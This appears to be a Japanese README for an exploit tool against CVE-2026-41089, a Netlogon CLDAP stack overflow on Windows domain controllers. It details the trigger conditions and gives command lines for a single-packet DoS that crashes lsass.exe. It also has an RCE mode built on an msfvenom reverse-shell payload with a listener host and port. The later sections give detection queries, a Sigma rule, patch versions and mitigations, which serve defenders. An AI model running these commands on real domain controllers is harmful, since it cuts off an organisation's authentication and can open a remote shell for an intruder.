hnytgl/cve-2026-41089CVE-2026-41089 は Windows Netlogon サービスにおける重要なリモートコード実行脆弱性であり、単一パケットで lsass.exe をクラッシュさせ、ドメインコントローラを約 30～60 秒で再起動させます。この間、当該 DC のすべてのドメイン認証は失敗します。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (スタックベースのバッファオーバーフロー)
攻撃ベクトル: UDP/389 (CLDAP SearchRequest)
影響: リモートコード実行 (RCE) / サービス拒否 (DoS)
影響を受けるバージョン: Windows Server 2012 R2 ~ 2025 (ドメインコントローラー)
パッチ: 2026年5月累積更新プログラム
netlogon.dll 内の NetpLogonPutUnicodeString 関数は、CLDAP 検索リクエストを処理する際にスタックバッファオーバーフローの脆弱性が存在します。この関数はバイト長の予算を受け取りますが、それを WCHAR カウントとして解釈するため、書き込み量が想定の 2 倍になります。
オーバーフローは NlGetLocalPingResponse 関数の 528 バイト（264 ushort） の固定スタックバッファで発生します。攻撃者が制御可能な User フィールドとサーバー自身の DNS ドメイン名がこのバッファを埋め、最終的に GS セキュリティ Cookie を上書きし、__report_gsfailure と lsass.exe のクラッシュを引き起こします。
NtVer=0x02（古く脆弱な BuildSamLogonResponse パスを強制的に使用）User フィールドの長さ ≥ 約130文字（バイナリ上限は約260バイト UTF-16）注意:
NtVer=0x16（多くの公開検出スクリプトが使用する値）は安全なBuildSamLogonResponseExパスをトリガーし、脆弱性は発生しません。
| モード | 説明 |
|---|---|
--mode dos | 細工された CLDAP パケットを送信し、LSASS をクラッシュさせ、DC を再起動（約60秒の認証中断） |
--mode rce | リモートコード実行を試行（研究レベル、shellcode が必要） |
--mode scan | 異なる NtVer 値の応答状況をスキャンし、対象 DC をフィンガープリント |
--mode auto | 自動検出して最適な攻撃戦略を選択 |
単一パケットで lsass.exe をクラッシュさせ、ドメインコントローラーが約30〜60秒で再起動します。この間、その DC のすべてのドメイン認証が失敗します。
# 基本的な使い方 — 3つのパケットを送信
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 単一パケットによる迅速な攻撃
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# アグレッシブモード — 5つのパケットを並行送信
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ 研究レベル — 実環境では信頼性が低く不安定です。
RCE は以下の課題に直面します：
# shellcode を生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE チェーンを送信
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 対象 DC をフィンガープリント
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
予想される出力例（パッチ適用済みのターゲット）：
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
予想される出力例（未パッチのターゲット）：
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
NtVer=0x02 がタイムアウトし、他のバージョンが正常に応答する場合、ターゲットは脆弱である可能性が高いです。
| パラメータ | 説明 | デフォルト値 |
|---|---|---|
-l, --user-len | ユーザー名フィールドの長さ（ASCII 文字数） | 180 |
--ntver | NtVer 値（16進数、例 0x02） | 0x02 |
--count | 送信する DoS パケット数 | 3 |
--delay | パケット間の遅延（秒） | 0.5 |
-t, --timeout | ソケットタイムアウト（秒） | 5.0 |
--json | 結果を JSON 形式で出力 | — |
--raw | 送信前に生のパケット16進数を表示 | — |
--quiet | バナー出力を抑制 | — |
--shellcode-file | カスタム shellcode ファイル（生の x64） | — |
--lhost | リバースシェルのリスンアドレス | — |
--lport | リバースシェルのリスンポート | 4444 |
# Windows Server（未パッチ）で長いドメイン名の DC を作成：
# 1. ドメインコントローラーに昇格（DNS ドメイン名が非常に長いドメイン、例 "this-is-a-very-long-domain-name-for-testing.corp.local"）
# 2. 2026年5月以前のパッチがインストールされていることを確認
# 3. 攻撃マシンから実行：
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC のクラッシュと再起動を観察
User > 100 バイトかつ NtVer = 0x02 の CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server バージョン | パッチ適用済みバージョン番号 | 備考 |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# 安全な検出スクリプト — ターゲットをクラッシュさせません
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# JSON 出力（一括スキャンに適しています）
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# パッチ検証手順を表示
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
検出原理：NtVer=0x02（脆弱なパスをトリガー）と NtVer=0x16（安全なパス）の短い CLDAP リクエストを送信します。0x02 がタイムアウトするが 0x16 が正常に応答する場合、ターゲットは脆弱である可能性が高いです。
直ちにパッチをインストール：2026年5月累積更新プログラム（KB5058405 以降）
# インストール済みの更新プログラムを確認
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# 最新の更新プログラムをインストール
Install-WindowsUpdate -AcceptAll -AutoReboot
netlogon.dll のバージョンを検証：
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# 上記のパッチバージョン番号表と照合
一時的な緩和策（直ちにパッチを適用できない場合）：
事後調査：
# lsass クラッシュ記録を確認
Get-WinEvent -FilterHashtable @{LogName='Application';Id=1000} |
Where-Object {$_.Message -match 'lsass.exe' -and $_.Message -match '0xc0000409'} |
Select-Object TimeCreated, Message -First 5
title: CVE-2026-41089 Netlogon CLDAP Overflow Exploitation
id: cve-2026-41089-netlogon-crash
status: experimental
description: Detects lsass.exe crash caused by netlogon.dll stack buffer overflow
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
Image|endswith: '\lsass.exe'
ExceptionCode: '0xc0000409'
FaultingModule|endswith: '\netlogon.dll'
condition: selection
level: critical
tags:
- attack.impact
- attack.t1499
- cve.2026-41089
本ツールは 許可されたセキュリティ評価、ペネトレーションテスト、CTF コンテスト、および防御研究 のみに使用してください。明確な書面による許可なく、いかなるシステムに対して本ツールを使用することは違法です。使用者はすべての法的責任を負います。